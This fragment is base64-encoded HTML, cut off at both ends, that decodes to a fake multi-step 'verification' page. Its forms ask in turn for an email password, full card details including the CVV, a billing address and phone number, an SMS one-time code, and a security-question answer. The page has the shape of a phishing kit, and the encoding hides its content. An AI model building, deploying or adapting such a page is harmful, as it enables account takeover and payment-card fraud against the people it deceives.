zLDQ5LjczLDAsMCwwLDkwLjksODEuMTRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiMxYWI3ZDciLz48cGF0aCBkPSJNNTEsMjAuMTJBMzAuODgsMzAuODgsMCwxLDAsODEuODgsNTEsMzAuODgsMzAuODgsMCwwLDAsNTEsMjAuMTJaTTUxLDc2QTI1LDI1LDAsMSwxLDc2LDUxLDI1LDI1LDAsMCwxLDUxLDc2WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZmZmIi8+PHBhdGggZD0iTTY4LjEsNDMuNjRhMS40OCwxLjQ4LDAsMCwxLTEuMzEtLjhBMTcuNzQsMTcuNzQsMCwwLDAsNTEsMzMuMjJhMTguNDgsMTguNDgsMCwwLDAtMy4zMi4zMSwxLjQ3LDEuNDcsMCwwLDEtLjU0LTIuODlBMjAuNzQsMjAuNzQsMCwwLDEsNjkuNDEsNDEuNDlhMS40NywxLjQ3LDAsMCwxLS42MywyQTEuNTIsMS41MiwwLDAsMSw2OC4xLDQzLjY0WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjODZkNWVkIi8+PHBhdGggZD0iTTc3LjExLDcyLjE3YS43My43MywwLDAsMC0xLC4xMi43NS43NSwwLDAsMCwuMTIsMWMyLjU3LDIsNy4xLDYuMDksMTIuMTMsMTAuODlsMCwwcS41LS41NiwxLTEuMTFDODQuMjgsNzguMzMsNzkuNzEsNzQuMjEsNzcuMTEsNzIuMTdaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNjN2U5ZjMiLz48ZyBpZD0iYWUxMGRjNGEtMjkzMC00Mzg2LWI4NjYtYTE0MGQ1ZGJjYmM2IiBkYXRhLW5hbWU9IjM5Ij48cGF0aCBkPSJNNjguNiwyMmExLDEsMCwwLDEtLjI1LS45NGwxLjUxLTUuNjlhMSwxLDAsMCwxLDEuOS41MWwtMS41Miw1LjY4YTEsMSwwLDAsMS0xLjIuNjlBLjkyLjkyLDAsMCwxLDY4LjYsMjJaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNNzUuODQsMjYuMTdhMSwxLDAsMCwxLDAtMS4zOUw4MCwyMC42MmExLDEsMCwwLDEsMS4zOSwwLDEsMSwwLDAsMSwwLDEuMzhsLTQuMTYsNC4xN0ExLDEsMCwwLDEsNzUuODQsMjYuMTdaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNODAsMzMuNGExLDEsMCwwLDEtLjI2LS40NCwxLDEsMCwwLDEsLjctMS4ybDUuNjgtMS41MmExLDEsMCwwLDEsLjUxLDEuODlMODEsMzMuNjVBMSwxLDAsMCwxLDgwLDMzLjRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48L2c+PGcgaWQ9ImJhNWNkMDRkLWE0MGQtNDNlNy1hM2I4LWYyMzQ1ODA0MGI0ZCIgZGF0YS1uYW1lPSIzOSI+PHBhdGggZD0iTTMzLjM5LDgwYS45NC45NCwwLDAsMSwuMjUuOTRsLTEuNTEsNS42OWExLDEsMCwwLDEtMS44OS0uNTFsMS41MS01LjY4YTEsMSwwLDAsMSwxLjItLjdBMSwxLDAsMCwxLDMzLjM5LDgwWiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTI2LjE1LDc1LjgzYTEsMSwwLDAsMSwwLDEuMzlMMjIsODEuMzhhMSwxLDAsMCwxLTEuMzgsMCwxLDEsMCwwLDEsMC0xLjM5bDQuMTYtNC4xNkExLDEsMCwwLDEsMjYuMTUsNzUuODNaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNMjIsNjguNmEuODUuODUsMCwwLDEsLjI1LjQzLDEsMSwwLDAsMS0uNjksMS4yMWwtNS42OCwxLjUyYTEsMSwwLDAsMS0uNTEtMS45TDIxLDY4LjM0QTEsMSwwLDAsMSwyMiw2OC42WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PC9nPjwvZz48L3N2Zz4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0iYm94VGV4dCI+CiAgICAgICAgICAgIDxoMj5MZXQncyBWZXJpZnkgeW91ciBFbWFpbCBhZGRyZXNzPC9oMj4KICAgICAgICAgICAgPHA+VG8gY29udGludWUsIHBsZWFzZSBoZWxwIHVzIHZlcmlmeSB5b3VyIGVtYWlsIGluZm9ybWF0aW9uPC9wPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgICA8IS0tLS0tIHN0YXJ0IEVtIGZvcm0gLS0+CiAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJmb3JtQ29udGFpbiBmRW1Cb3ggaGlkZSI+CgogICAgICAgIDxkaXYgY2xhc3M9ImVycm9yIGVycm1zZzIgZW0yZXJyMiBoaWRlIj4KICAgICAgICAgICAgPHNwYW4+SW52YWxpZCBlbWFpbCBvciBwYXNzd29yZCwgdHJ5IGFnYWluPC9zcGFuPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJpbnBCb3hzaWRlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkVtYWlsIGFkZHJlc3M8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImVtYWlsIiBuYW1lPSJlbSIgYXV0b2NvbXBsZXRlPSJvZmYiIHJlcXVpcmVkPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5FbWFpbCBQYXNzd29yZDwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAKICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgPGJ1dHRvbj5Db250aW51ZTwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgIAogICAgICAgIDwvZGl2PgogICAgPC9mb3JtPgoKICAgIDwhLS0tLS0gZW5kIEVtIGZvcm0gLS0+CgoKCgoKICAgIDxkaXYgY2xhc3M9InZhbGlkQm94IHZhbGlkQm94MiBoaWRlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbWdWYSI+CiAgICAgICAgICAgICAgIDxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgdmlld0JveD0iMCAwIDEwMCAxMDAiPjxnIGlkPSJhMzdiZjZiMC0wM2U5LTQ4MTgtYjRmMy0wNTUxY2M3ZmFhOTkiIGRhdGEtbmFtZT0iQWN0aXZhdGlvbiBMYXllciI+PGNpcmNsZSBjeD0iNTAiIGN5PSI1MCIgcj0iNTAiIGZpbGw9IiMyNjYwODIiLz48cGF0aCBkPSJNOTAuOSw4MS4xNEM4NC41Nyw3NS41LDc4LDY5Ljg5LDc2LjI3LDY4LjYxYTMwLjg5LDMwLjg5LDAsMCwxLTcuMTQsNy4yOWMxLjM2LDIuMTEsNi41NSw4Ljc4LDExLjc1LDE1LjE5QTQ5LjczLDQ5LjczLDAsMCwwLDkwLjksODEuMTRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiMxYWI3ZDciLz48cGF0aCBkPSJNNTEsMjAuMTJBMzAuODgsMzAuODgsMCwxLDAsODEuODgsNTEsMzAuODgsMzAuODgsMCwwLDAsNTEsMjAuMTJaTTUxLDc2QTI1LDI1LDAsMSwxLDc2LDUxLDI1LDI1LDAsMCwxLDUxLDc2WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZmZmIi8+PHBhdGggZD0iTTY4LjEsNDMuNjRhMS40OCwxLjQ4LDAsMCwxLTEuMzEtLjhBMTcuNzQsMTcuNzQsMCwwLDAsNTEsMzMuMjJhMTguNDgsMTguNDgsMCwwLDAtMy4zMi4zMSwxLjQ3LDEuNDcsMCwwLDEtLjU0LTIuODlBMjAuNzQsMjAuNzQsMCwwLDEsNjkuNDEsNDEuNDlhMS40NywxLjQ3LDAsMCwxLS42MywyQTEuNTIsMS41MiwwLDAsMSw2OC4xLDQzLjY0WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjODZkNWVkIi8+PHBhdGggZD0iTTc3LjExLDcyLjE3YS43My43MywwLDAsMC0xLC4xMi43NS43NSwwLDAsMCwuMTIsMWMyLjU3LDIsNy4xLDYuMDksMTIuMTMsMTAuODlsMCwwcS41LS41NiwxLTEuMTFDODQuMjgsNzguMzMsNzkuNzEsNzQuMjEsNzcuMTEsNzIuMTdaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNjN2U5ZjMiLz48ZyBpZD0iYWUxMGRjNGEtMjkzMC00Mzg2LWI4NjYtYTE0MGQ1ZGJjYmM2IiBkYXRhLW5hbWU9IjM5Ij48cGF0aCBkPSJNNjguNiwyMmExLDEsMCwwLDEtLjI1LS45NGwxLjUxLTUuNjlhMSwxLDAsMCwxLDEuOS41MWwtMS41Miw1LjY4YTEsMSwwLDAsMS0xLjIuNjlBLjkyLjkyLDAsMCwxLDY4LjYsMjJaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNNzUuODQsMjYuMTdhMSwxLDAsMCwxLDAtMS4zOUw4MCwyMC42MmExLDEsMCwwLDEsMS4zOSwwLDEsMSwwLDAsMSwwLDEuMzhsLTQuMTYsNC4xN0ExLDEsMCwwLDEsNzUuODQsMjYuMTdaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNODAsMzMuNGExLDEsMCwwLDEtLjI2LS40NCwxLDEsMCwwLDEsLjctMS4ybDUuNjgtMS41MmExLDEsMCwwLDEsLjUxLDEuODlMODEsMzMuNjVBMSwxLDAsMCwxLDgwLDMzLjRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48L2c+PGcgaWQ9ImJhNWNkMDRkLWE0MGQtNDNlNy1hM2I4LWYyMzQ1ODA0MGI0ZCIgZGF0YS1uYW1lPSIzOSI+PHBhdGggZD0iTTMzLjM5LDgwYS45NC45NCwwLDAsMSwuMjUuOTRsLTEuNTEsNS42OWExLDEsMCwwLDEtMS44OS0uNTFsMS41MS01LjY4YTEsMSwwLDAsMSwxLjItLjdBMSwxLDAsMCwxLDMzLjM5LDgwWiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTI2LjE1LDc1LjgzYTEsMSwwLDAsMSwwLDEuMzlMMjIsODEuMzhhMSwxLDAsMCwxLTEuMzgsMCwxLDEsMCwwLDEsMC0xLjM5bDQuMTYtNC4xNkExLDEsMCwwLDEsMjYuMTUsNzUuODNaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNMjIsNjguNmEuODUuODUsMCwwLDEsLjI1LjQzLDEsMSwwLDAsMS0uNjksMS4yMWwtNS42OCwxLjUyYTEsMSwwLDAsMS0uNTEtMS45TDIxLDY4LjM0QTEsMSwwLDAsMSwyMiw2OC42WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PC9nPjwvZz48L3N2Zz4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0iYm94VGV4dCI+CiAgICAgICAgICAgIDxoMj5MZXQncyB2ZXJpZnkgeW91ciBDcmVkaXQvRGViaXQgQ2FyZCBJbmZvcm1hdGlvbjwvaDI+CiAgICAgICAgICAgIDxwPkFkZC9jb25maXJtIHlvdXIgY3JlZGl0L0RlYml0IENhcmQgSW5mb3JtYXRpb24gdG8gY29udGludWU8L3A+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICAgIDwhLS0tLS0gc3RhcnQgRW0gZm9ybSAtLT4KICAgIDxmb3JtIGFjdGlvbj0iIyIgY2xhc3M9ImZvcm1Db250YWluIGZDYXJkIGhpZGUiPgoKCiAgICAgICAgPGRpdiBjbGFzcz0iaW5wQm94c2lkZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5DYXJkIEhvbGRlcnMgTmFtZTwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY05hbWUiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZCBwbGFjZWhvbGRlcj0iQ2FyZCBIb2xkZXIncyBOYW1lIj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+Q2FyZCBOdW1iZXI8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9Im51bWJlciIgbmFtZT0iY051bSIgcGxhY2Vob2xkZXI9IlhYWFhYWFhYWFhYWCIgcmVxdWlyZWQ+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5DYXJkIEV4cGlyYXRpb24gRGF0ZTwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZXhwIiBwbGFjZWhvbGRlcj0iTU0vWVkiIHJlcXVpcmVkPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+Q2FyZCBDVlY8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImN2IiBwbGFjZWhvbGRlcj0iQ1ZWIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAKICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgPGJ1dHRvbj5Db250aW51ZTwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgIAogICAgICAgIDwvZGl2PgogICAgPC9mb3JtPgoKICAgIDwhLS0tLS0gZW5kIEVtIGZvcm0gLS0+CgoKCiAgICA8ZGl2IGNsYXNzPSJ2YWxpZEJveCB2YWxpZEJveDMgaGlkZSI+CiAgICAgICAgPGRpdiBjbGFzcz0iaW1nVmEiPgogICAgICAgICAgICAgICA8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48ZyBpZD0iYTM3YmY2YjAtMDNlOS00ODE4LWI0ZjMtMDU1MWNjN2ZhYTk5IiBkYXRhLW5hbWU9IkFjdGl2YXRpb24gTGF5ZXIiPjxjaXJjbGUgY3g9IjUwIiBjeT0iNTAiIHI9IjUwIiBmaWxsPSIjMjY2MDgyIi8+PHBhdGggZD0iTTkwLjksODEuMTRDODQuNTcsNzUuNSw3OCw2OS44OSw3Ni4yNyw2OC42MWEzMC44OSwzMC44OSwwLDAsMS03LjE0LDcuMjljMS4zNiwyLjExLDYuNTUsOC43OCwxMS43NSwxNS4xOUE0OS43Myw0OS43MywwLDAsMCw5MC45LDgxLjE0WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjMWFiN2Q3Ii8+PHBhdGggZD0iTTUxLDIwLjEyQTMwLjg4LDMwLjg4LDAsMSwwLDgxLjg4LDUxLDMwLjg4LDMwLjg4LDAsMCwwLDUxLDIwLjEyWk01MSw3NkEyNSwyNSwwLDEsMSw3Niw1MSwyNSwyNSwwLDAsMSw1MSw3NloiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2ZmZiIvPjxwYXRoIGQ9Ik02OC4xLDQzLjY0YTEuNDgsMS40OCwwLDAsMS0xLjMxLS44QTE3Ljc0LDE3Ljc0LDAsMCwwLDUxLDMzLjIyYTE4LjQ4LDE4LjQ4LDAsMCwwLTMuMzIuMzEsMS40NywxLjQ3LDAsMCwxLS41NC0yLjg5QTIwLjc0LDIwLjc0LDAsMCwxLDY5LjQxLDQxLjQ5YTEuNDcsMS40NywwLDAsMS0uNjMsMkExLjUyLDEuNTIsMCwwLDEsNjguMSw0My42NFoiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iIzg2ZDVlZCIvPjxwYXRoIGQ9Ik03Ny4xMSw3Mi4xN2EuNzMuNzMsMCwwLDAtMSwuMTIuNzUuNzUsMCwwLDAsLjEyLDFjMi41NywyLDcuMSw2LjA5LDEyLjEzLDEwLjg5bDAsMHEuNS0uNTYsMS0xLjExQzg0LjI4LDc4LjMzLDc5LjcxLDc0LjIxLDc3LjExLDcyLjE3WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjYzdlOWYzIi8+PGcgaWQ9ImFlMTBkYzRhLTI5MzAtNDM4Ni1iODY2LWExNDBkNWRiY2JjNiIgZGF0YS1uYW1lPSIzOSI+PHBhdGggZD0iTTY4LjYsMjJhMSwxLDAsMCwxLS4yNS0uOTRsMS41MS01LjY5YTEsMSwwLDAsMSwxLjkuNTFsLTEuNTIsNS42OGExLDEsMCwwLDEtMS4yLjY5QS45Mi45MiwwLDAsMSw2OC42LDIyWiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTc1Ljg0LDI2LjE3YTEsMSwwLDAsMSwwLTEuMzlMODAsMjAuNjJhMSwxLDAsMCwxLDEuMzksMCwxLDEsMCwwLDEsMCwxLjM4bC00LjE2LDQuMTdBMSwxLDAsMCwxLDc1Ljg0LDI2LjE3WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTgwLDMzLjRhMSwxLDAsMCwxLS4yNi0uNDQsMSwxLDAsMCwxLC43LTEuMmw1LjY4LTEuNTJhMSwxLDAsMCwxLC41MSwxLjg5TDgxLDMzLjY1QTEsMSwwLDAsMSw4MCwzMy40WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PC9nPjxnIGlkPSJiYTVjZDA0ZC1hNDBkLTQzZTctYTNiOC1mMjM0NTgwNDBiNGQiIGRhdGEtbmFtZT0iMzkiPjxwYXRoIGQ9Ik0zMy4zOSw4MGEuOTQuOTQsMCwwLDEsLjI1Ljk0bC0xLjUxLDUuNjlhMSwxLDAsMCwxLTEuODktLjUxbDEuNTEtNS42OGExLDEsMCwwLDEsMS4yLS43QTEsMSwwLDAsMSwzMy4zOSw4MFoiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjxwYXRoIGQ9Ik0yNi4xNSw3NS44M2ExLDEsMCwwLDEsMCwxLjM5TDIyLDgxLjM4YTEsMSwwLDAsMS0xLjM4LDAsMSwxLDAsMCwxLDAtMS4zOWw0LjE2LTQuMTZBMSwxLDAsMCwxLDI2LjE1LDc1LjgzWiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTIyLDY4LjZhLjg1Ljg1LDAsMCwxLC4yNS40MywxLDEsMCwwLDEtLjY5LDEuMjFsLTUuNjgsMS41MmExLDEsMCwwLDEtLjUxLTEuOUwyMSw2OC4zNEExLDEsMCwwLDEsMjIsNjguNloiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjwvZz48L2c+PC9zdmc+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImJveFRleHQiPgogICAgICAgICAgICA8aDI+TGV0J3MgdmVyaWZ5IHlvdXIgYmlsbGluZyBJbmZvcm1hdGlvbjwvaDI+CiAgICAgICAgICAgIDxwPkVudGVyIHlvdXIgYmlsbGluZyBpbmZvcm1hdGlvbiwgdG8gY29udGludWUgdmVyaWZpY2F0aW9uLjwvcD4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgICAgPCEtLS0tLSBzdGFydCBFbSBmb3JtIC0tPgogICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0iZm9ybUNvbnRhaW4gZkJpbGwgaGlkZSIgPgoKCiAgICAgICAgPGRpdiBjbGFzcz0iaW5wQm94c2lkZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5BZGRyZXNzPC9sYWJlbD4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhZGRyZXMiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZCBwbGFjZWhvbGRlcj0iQWRkcmVzcyI+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPlppcCBDb2RlPC9sYWJlbD4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ6aXAiIHBsYWNlaG9sZGVyPSJaaXAgQ29kZSIgcmVxdWlyZWQ+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5Nb2JpbGUgUGhvbmUgTnVtYmVyIGZvciBmaW5hbCBzbXMgdmVyaWZpY2F0aW9uPC9sYWJlbD4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwaG9uZSIgcGxhY2Vob2xkZXI9Ik1vYmlsZSBQaG9uZSBOdW1iZXIiIHJlcXVpcmVkPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgIDxidXR0b24+Q29udGludWU8L2J1dHRvbj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDwvZGl2PgogICAgPC9mb3JtPgoKICAgIDwhLS0tLS0gZW5kIEVtIGZvcm0gLS0+CgoKCiAgICA8ZGl2IGNsYXNzPSJ2YWxpZEJveCB2YWxpZEJveDQgaGlkZSI+CiAgICAgICAgCiAgICAgICAgPGRpdiBjbGFzcz0iYm94VGV4dCI+CiAgICAgICAgICAgIDxoMj5TTVMgUGhvbmUgVmVyaWZpY2F0aW9uPC9oMj4KICAgICAgICAgICAgPHA+RW50ZXIgdGhlIFNNUyBjb2RlIHRoYXQgd2FzIHNlbnQgdG8geW91ciBNb2JpbGUgTnVtYmVyLjwvcD4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgICAgPCEtLS0tLSBzdGFydCBFbSBmb3JtIC0tPgogICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0iZm9ybUNvbnRhaW4gb3RDYXJkIGhpZGUiPgoKICAgICAgICA8ZGl2IGNsYXNzPSJpbnBCb3hzaWRlIj4gICAgCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yQm94NCBoaWRlIj4KICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDEzcHg7IGNvbG9yOiAjZGYxMzFkOyBmb250LXdlaWdodDogNjAwOyBkaXNwbGF5OiBibG9jazsiPlRoZSBTTVMgQ29kZSBZb3UgRW50ZXIgaXMgSW5jb3JyZWN0LCBQbGVhc2UgRW50ZXIgVGhlIE5ldyBTTVMgQ29kZSBTZW50IHRvIFlvdXIgTW9iaWxlIE51bWJlci48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PiAgICAgICAgCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5TTVMgQ29kZSA8c3BhbiBzdHlsZT0iY29sb3I6ICNFNTA5MTQ7IGZvbnQtc2l6ZTogMTdweDsiPio8L3NwYW4+ICggUGxlYXNlIE5vdGUgdGhhdCB0aGUgY29kZSBtaWdodCBiZSBhIGxpdHRsZSBiaXQgZGVsYXkgZHVlIHRvIHlvdXIgbW9iaWxlIG5ldHdvcmspIDwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29kZSIgYXV0b2NvbXBsZXRlPSJvZmYiIHJlcXVpcmVkIHBsYWNlaG9sZGVyPSJFbnRlciBDb2RlIj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgPGJ1dHRvbj5Db250aW51ZTwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZm9ybT4KCiAgICA8IS0tLS0tIGVuZCBFbSBmb3JtIC0tPgoKCgogICAgICA8ZGl2IGNsYXNzPSJ2YWxpZEJveCB2YWxpZEJveDUgaGlkZSI+CiAgICAgICAgCiAgICAgICAgPGRpdiBjbGFzcz0iYm94VGV4dCI+CiAgICAgICAgICAgIDxoMj5BbnN3ZXIgU2VjdXJpdHkgUXVlc3Rpb248L2gyPgogICAgICAgICAgICA8cD5QbGVhc2UgYW5zd2VyIHRoZSBzZWN1cml0eSBxdWVzdGlvbiB0byBlbnN1cmUgPGJyLz4geW91ICBhcmUgdGhlIG9uZSBhY2Vzc2luZyB0aGUgYWNjb3VudC4gPC9wPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgICA8IS0tLS0tIHN0YXJ0IEVtIGZvcm0gLS0+CiAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJmb3JtQ29udGFpbiBxdWVzdENhcmQgaGlkZSI+CgogICAgICAgIDxkaXYgY2xhc3M9ImltZ1F1ZXN0Ij4KICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYm94bWFwMS5uZXRsaWZ5LmFwcC9xdWVzdC5wbmciIGFsdD0icXVlc3QxIj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbnBCb3hzaWRlIj4gICAgCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yQm94NCBlcnJCb3g1NiBoaWRlIj4KICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDEzcHg7IGNvbG9yOiAjZGYxMzFkOyBmb250LXdlaWdodDogNjAwOyBkaXNwbGF5OiBibG9jazsiPkluY29ycmVjdCBhbnN3ZXIsIHRyeSBhZ2Fpbjwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+ICAgICAgICAKICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiIGNsYXNzPSJxdWVzdFRleHQiPjwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibW1CdiIgYXV0b2NvbXBsZXRlPSJvZmYiIGNsYXNzPSJtbUJWYWx1ZSIgcmVxdWlyZWQgcGxhY2Vob2xkZXI9IkVudGVyIFlvdXIgQW5zd2VyIj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgPGJ1dHRvbj5Db250aW51ZTwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZm9ybT4KCiAgICA8IS0tLS0tIGVuZCBFbSBmb3JtIC0tPgoKCgoKICAgICAgPGRpdiBjbGFzcz0idmFsaWRCb3ggdmFsaWRCb3g2IGhpZGUiPgogICAgICAgIDxkaXYgY2xhc3M9ImltZ1ZhIj4KICAgICAgICAgICAgICAgPHN2ZyB4bWxucz0